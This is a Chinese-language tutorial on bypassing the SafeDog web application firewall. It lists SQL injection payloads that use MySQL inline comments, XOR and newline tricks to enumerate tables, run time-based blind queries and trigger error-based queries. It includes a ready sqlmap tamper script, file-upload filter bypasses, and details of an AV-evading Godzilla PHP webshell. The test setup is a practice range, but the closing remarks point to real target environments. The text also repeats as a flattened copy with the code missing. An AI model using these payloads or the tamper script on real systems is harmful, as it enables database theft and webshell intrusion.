手把手全套过狗(附tamper和哥斯拉免杀马)
字数 1375 2025-08-20 18:18:11

绕过安全狗注入与上传的全面指南

知识点介绍

1. 内联注释绕过

MySQL语法中有三种注释方法:

  • --#(单行注释)
  • /* */(多行注释)

特殊用法:在/*后加惊叹号!表示/* */里的语句将被执行。MySQL为了保持兼容,把特有语句放在/*!....*/中,在其他数据库中不会执行但在MySQL中会执行。

示例:/*!50001 select * from test */,50001表示数据库是5.00.01及以上版本时才会执行。

2. 异或绕过

^未被过滤时可利用:

  • 异或运算符:xor^
  • 逻辑运算规则:同假异真(两个条件结果相同为假,不同为真)

示例:

lucy' Xor '1'='1' #
  • 如果'lucy'存在则前后都为真,返回假
  • 如果'lucy'不存在则前为假后为真,返回真

3. 换行绕过

使用换行符绕过:

  • %23%0a%2d%2d%0a
  • %23#(MySQL行注释符)
  • %0A是换行符

示例:%23 aaaa相当于#aaaa(注释掉这行),加上%0a后后面的语句能执行。

测试环境

  • Apache + 安全狗版本4.0.28330
  • Windows 10
  • Pikachu靶场(字符型注入测试)

MySQL注入绕过测试

1. AND 1绕过

and 1被拦截,使用内联注释:

lucy' /*!11440AND*/ '1'='1'#

也可用&Xor代替AND

lucy' & '1'='1'#
lucy' Xor '1'='1'#

2. ORDER BY绕过

order by被拦截,使用内联注释:

lucy' order/*!77777cz*/by 1#

可用的版本号范围:

  • 10440–10449
  • 13440-13449
  • 14400-14499
  • 15440-15449
  • 16440-16449
  • 17440-17449
  • 18440-18449

3. UNION SELECT绕过

union select被拦截,使用内联注释:

-1' union /*!11440 select*/ 1,2#

或:

-1' union /!77777cz//!77777cz/ select 1,2#

4. 函数绕过

user()database()被拦截,使用内联注释:

-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#

MySQL空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0

5. SELECT FROM绕过

select xxx from xxx被拦截,使用内联注释:

-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#

或使用MySQL 5.6+新特性表:

1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#

6. 时间盲注和报错注入

  • sleep()不被拦但sleep(3)被拦:
lucy ' /*!11440or*/ /*!11440sleep(3)*/#
  • updatexml(1,1,0)被拦:
-1'AND updatexml/*!77777cz*/(1,version(),0)#

SQLMap Tamper脚本

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author: LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

使用SQLMap时需加--random-agent参数。

绕过上传测试

安全狗使用黑名单限制上传。

方法一:等号绕过

在filename后多添加两个等号。

方法二:换行绕过

在文件后缀名处换行。

方法三:填充垃圾字符

Content-Disposition字段后添加垃圾数据绕过文件名校验。

注意:安全狗对Content-Type也有检测限制。

免杀技术

提供一个哥斯拉免杀PHP马:

  • 密码:lushuntest
  • 加密器:XOR

(注:具体免杀马代码因安全原因不在此展示)

总结

本文详细介绍了绕过安全狗的各种技术,包括:

  1. MySQL注入绕过(AND、ORDER BY、UNION SELECT等)
  2. 上传绕过(等号、换行、垃圾字符)
  3. 免杀技术
  4. 自动化SQLMap Tamper脚本

这些技术主要针对安全狗4.0.28330版本,实际使用时可能需要根据目标环境进行调整。

绕过安全狗注入与上传的全面指南 知识点介绍 1. 内联注释绕过 MySQL语法中有三种注释方法: -- 和 # (单行注释) /* */ (多行注释) 特殊用法:在 /* 后加惊叹号 ! 表示 /* */ 里的语句将被执行。MySQL为了保持兼容,把特有语句放在 /*!....*/ 中,在其他数据库中不会执行但在MySQL中会执行。 示例: /*!50001 select * from test */ ,50001表示数据库是5.00.01及以上版本时才会执行。 2. 异或绕过 当 ^ 未被过滤时可利用: 异或运算符: xor 或 ^ 逻辑运算规则:同假异真(两个条件结果相同为假,不同为真) 示例: 如果'lucy'存在则前后都为真,返回假 如果'lucy'不存在则前为假后为真,返回真 3. 换行绕过 使用换行符绕过: %23%0a 、 %2d%2d%0a %23 是 # (MySQL行注释符) %0A 是换行符 示例: %23 aaaa 相当于 #aaaa (注释掉这行),加上 %0a 后后面的语句能执行。 测试环境 Apache + 安全狗版本4.0.28330 Windows 10 Pikachu靶场(字符型注入测试) MySQL注入绕过测试 1. AND 1绕过 and 1 被拦截,使用内联注释: 也可用 & 或 Xor 代替 AND : 2. ORDER BY绕过 order by 被拦截,使用内联注释: 可用的版本号范围: 10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 3. UNION SELECT绕过 union select 被拦截,使用内联注释: 或: 4. 函数绕过 user() 、 database() 被拦截,使用内联注释: MySQL空白字符: %09,%0a,%0b,%0c,%0d,%20,%a0 5. SELECT FROM绕过 select xxx from xxx 被拦截,使用内联注释: 或使用MySQL 5.6+新特性表: 6. 时间盲注和报错注入 sleep() 不被拦但 sleep(3) 被拦: updatexml(1,1,0) 被拦: SQLMap Tamper脚本 使用SQLMap时需加 --random-agent 参数。 绕过上传测试 安全狗使用黑名单限制上传。 方法一:等号绕过 在filename后多添加两个等号。 方法二:换行绕过 在文件后缀名处换行。 方法三:填充垃圾字符 在 Content-Disposition 字段后添加垃圾数据绕过文件名校验。 注意:安全狗对 Content-Type 也有检测限制。 免杀技术 提供一个哥斯拉免杀PHP马: 密码:lushuntest 加密器:XOR (注:具体免杀马代码因安全原因不在此展示) 总结 本文详细介绍了绕过安全狗的各种技术,包括: MySQL注入绕过(AND、ORDER BY、UNION SELECT等) 上传绕过(等号、换行、垃圾字符) 免杀技术 自动化SQLMap Tamper脚本 这些技术主要针对安全狗4.0.28330版本,实际使用时可能需要根据目标环境进行调整。